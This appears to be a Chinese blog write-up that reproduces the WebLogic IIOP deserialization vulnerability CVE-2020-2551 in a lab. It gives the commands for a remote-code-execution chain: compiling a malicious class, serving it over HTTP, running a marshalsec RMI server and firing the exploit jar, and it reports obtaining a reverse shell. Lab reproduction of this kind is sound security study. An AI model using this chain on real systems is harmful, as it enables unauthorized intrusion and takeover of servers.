Weblogic IIOP反序列化漏洞CVE-2020-2551复现


1. 前言

2020年1月15日, Oracle官方发布了Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

2. 获取exp并配置编译

给项目配置JDK
目录结构

选择jdk

配置Modules
选择src 后点 Sources, 选择out 后点 Excluded

选完之后,看到一排红:

这是因为有些包没导入,代码找不到,这里把lib文件夹下的包导入进项目:

然后就没得报错了:

打包配置
配置build:

选择main函数:

build打包成可执行文件:

发现又报错了,说没设置输出路径,配置一下:


继续build,又报错:

是上面的配置jdk下面那个project language level选高了 ,改成8,再来一次build,哇 成功输出文件:

马上就要运行一下,没问题了:

3. 进行复现

首测失败
vulhub搭建了一个weblogic环境,恶意rmi使用JNDI-Injection-Exploit。但是这个工具编译版本为jdk1.7+,漏洞环境是jdk1.6,所以没成功,从下面日志中可以看到漏洞触发成功访问了rmi服务,但是接着报错不支持version 52,说明执行代码的jdk版本低于编译的jdk版本。搜到jdk版本和stanford parser对应关系是J2SE 8 = 52,J2SE 7 = 51,J2SE 6.0 = 50,J2SE 5.0 = 49,JDK 1.4 = 48,JDK 1.3 = 47,JDK 1.2 = 46,JDK 1.1 = 45,所以后面用指定编译版本为1.6编译exp。


这下该成功了吧
1、使用javac Poc.java -source 1.6 -target 1.6 指定版本来编译Poc.java:

并且启动一个web服务来让恶意类可以被访问到python3 -m http.server 80

2、恶意rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.1/#Poc" 1099

3、用poc测试java -jar CVE-2020-2551.jar 192.168.111.130 7001 rmi://192.168.111.1:1099/Poc

4、可以看到weblogic请求rmi后从web服务器里获取到了恶意类:

5、此时上漏洞环境查看目录,命令执行成功:

6、反弹shell:
执行流程

成功后的日志


4. 参考

https://blog.csdn.net/m0_37961948/article/details/78161828?utm_source=blogxgwz3
https://www.cnblogs.com/zhaoqingqing/p/11847791.html
https://blog.csdn.net/weixin_43149083/article/details/89639747
https://y4er.com/post/weblogic-cve-2020-2551/
https://xz.aliyun.com/t/7374#toc-13
https://xz.aliyun.com/t/7498


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
简单的源码免杀 简单的源码免杀
经常看到各种免杀的例子,源码免杀、二进制免杀、加载器免杀等等,最近学习了一下源码层面的免杀,在实验过程中与杀软对抗最终成功免杀,写下本文做个记录。
2020-08-30
本篇 
Weblogic IIOP反序列化漏洞CVE-2020-2551复现 Weblogic IIOP反序列化漏洞CVE-2020-2551复现
2020年1月15日, Oracle官方发布了Weblogic IIOP反序列化漏洞CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
2020-08-22
  目录